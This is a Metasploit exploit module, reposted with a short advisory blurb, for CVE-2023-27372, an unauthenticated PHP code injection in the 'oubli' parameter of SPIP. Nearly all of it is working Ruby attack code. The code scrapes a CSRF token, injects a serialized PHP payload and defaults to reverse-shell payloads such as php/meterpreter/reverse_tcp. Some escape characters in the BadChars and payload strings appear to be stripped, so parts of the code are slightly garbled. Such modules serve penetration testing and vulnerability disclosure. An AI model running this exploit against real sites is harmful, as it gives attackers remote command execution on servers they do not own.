Authored by coiffeur, Laluka, Julien Voisin | Site metasploit.com

This Metasploit module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are below 3.2.18, below 4.0.10, below 4.1.18 and below 4.2.1.

advisories | CVE-2023-27372

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP form PHP Injection',
'Description' => %q{
This module exploits a PHP code injection in SPIP. The vulnerability exists in the
oubli parameter and allows an unauthenticated user to execute arbitrary commands
with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions
are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
},
'Author' => [
'coiffeur', # Initial discovery
'Laluka', # PoC
'Julien Voisin' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],
[ 'URL', 'https://therealcoiffeur.com/c11010' ],
[ 'CVE', '2023-27372' ],
],
'Privileged' => false,
'Platform' => %w[php linux unix],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'Automatic (PHP In-Memory)',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'Type' => :php_memory,
'Payload' => {
'BadChars' => "x22x00"
}
}
],
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory,
'Payload' => {
'BadChars' => "x22x00x27"
}
}
],
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-27'
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
]
)
end

def check
uri = normalize_uri(target_uri.path, 'spip.php')
res = send_request_cgi({ 'uri' => uri.to_s })

return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200

version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/

version = ::Regexp.last_match(1)

if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
version = ::Regexp.last_match(1)
end

return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version

print_status("SPIP Version detected: #{version}")

rversion = Rex::Version.new(version)
if rversion >= Rex::Version.new('4.2.0')
if rversion < Rex::Version.new('4.2.1')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.1.0')
if rversion < Rex::Version.new('4.1.18')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.0.0')
if rversion < Rex::Version.new('4.0.10')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('3.2.0')
if rversion < Rex::Version.new('3.2.18')
return Exploit::CheckCode::Appears
end
end

return Exploit::CheckCode::Safe
end

def execute_command(cmd, args = {})
send_request_cgi(
{
'uri' => args['uri'],
'method' => 'POST',
'vars_post' => {
'page' => 'spip_pass',
'lang' => 'fr',
'formulaire_action' => 'oubli',
'formulaire_action_args' => args['csrf'],
'oubli' => cmd
}
}
)
end

def exploit
uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')
res = send_request_cgi({ 'uri' => uri })

fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res
fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200

csrf = ''
unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?
csrf = node.first['value']
end

print_status("Got anti-csrf token: #{csrf}")

print_status("#{rhost}:#{rport} - Attempting to exploit...")

oubli = ''
case target['Type']
when :php_memory
oubli = "s:#{payload.encoded.length + 6 + 2}:"<?php #{payload.encoded}?>";"
when :unix_memory
oubli = "s:#{payload.encoded.length + 14 + 4}:"<?php system('#{payload.encoded}')?>";"
end
execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })
end
end